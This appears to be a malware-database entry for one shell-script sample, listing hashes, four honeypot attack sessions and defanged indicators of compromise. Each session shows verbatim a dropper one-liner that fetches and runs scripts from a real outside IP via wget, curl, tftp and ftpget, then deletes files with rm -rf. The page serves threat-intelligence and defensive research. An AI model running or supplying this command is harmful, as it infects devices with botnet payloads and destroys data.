Sign In|Register
Back to Malware Drops

d22ed365fc28f998ce90d85e4d4c529e4861dde56b0ada2f3865742f199716a7

MD5a960b32caee02874aff619f7f9498aa8
SSDEEP—
File Typetext/x-script
Size1.3 KB
Sources4
Downloads0
First SeenJul 26, 2026
Last SeenJul 26, 2026
Download sample (.zip, password: infected)

Live malware — handle only in an isolated analysis environment.

Originating Attacks

Honeypot sessions that dropped this sample. Drop URLs are defanged; commands are shown verbatim and are not links.

  • cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.56.209.153/nz.sh; curl -O http://31.56.209.153/nz.sh; chmod 777 nz.sh; sh nz.sh; tftp 31.56.209.153 -c get nz.sh; chmod 777 nz.sh; sh nz.sh; tftp -r 3.sh -g 31.56.209.153; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 31.56.209.153 2.sh 2.sh; sh 2.sh; rm -rf nz.sh nz.sh 3.sh 2.sh; rm -rf *
    Jul 26, 2026, 8:41:17 PMView attack session
  • cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.56.209.153/nz.sh; curl -O http://31.56.209.153/nz.sh; chmod 777 nz.sh; sh nz.sh; tftp 31.56.209.153 -c get nz.sh; chmod 777 nz.sh; sh nz.sh; tftp -r 3.sh -g 31.56.209.153; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 31.56.209.153 2.sh 2.sh; sh 2.sh; rm -rf nz.sh nz.sh 3.sh 2.sh; rm -rf *
    Jul 26, 2026, 8:01:55 PMView attack session
  • cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.56.209.153/nz.sh; curl -O http://31.56.209.153/nz.sh; chmod 777 nz.sh; sh nz.sh; tftp 31.56.209.153 -c get nz.sh; chmod 777 nz.sh; sh nz.sh; tftp -r 3.sh -g 31.56.209.153; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 31.56.209.153 2.sh 2.sh; sh 2.sh; rm -rf nz.sh nz.sh 3.sh 2.sh; rm -rf *
    Jul 26, 2026, 7:50:09 PMView attack session
  • cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.56.209.153/nz.sh; curl -O http://31.56.209.153/nz.sh; chmod 777 nz.sh; sh nz.sh; tftp 31.56.209.153 -c get nz.sh; chmod 777 nz.sh; sh nz.sh; tftp -r 3.sh -g 31.56.209.153; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 31.56.209.153 2.sh 2.sh; sh 2.sh; rm -rf nz.sh nz.sh 3.sh 2.sh; rm -rf *
    Jul 26, 2026, 7:46:48 PMView attack session

Indicators of Compromise

Values are defanged (e.g. hxxp://, [.]) — not live links.

ipv4 (1)

  • 31[.]56[.]209[.]153

url (7)

  • hxxp://31[.]56[.]209[.]153/nz/nz[.]arc;
  • hxxp://31[.]56[.]209[.]153/nz/nz[.]i468;
  • hxxp://31[.]56[.]209[.]153/nz/nz[.]i686;
  • hxxp://31[.]56[.]209[.]153/nz/nz[.]mips;
  • hxxp://31[.]56[.]209[.]153/nz/nz[.]mpsl;
  • hxxp://31[.]56[.]209[.]153/nz/nz[.]x86;
  • hxxp://31[.]56[.]209[.]153/nz/nz[.]x86_64;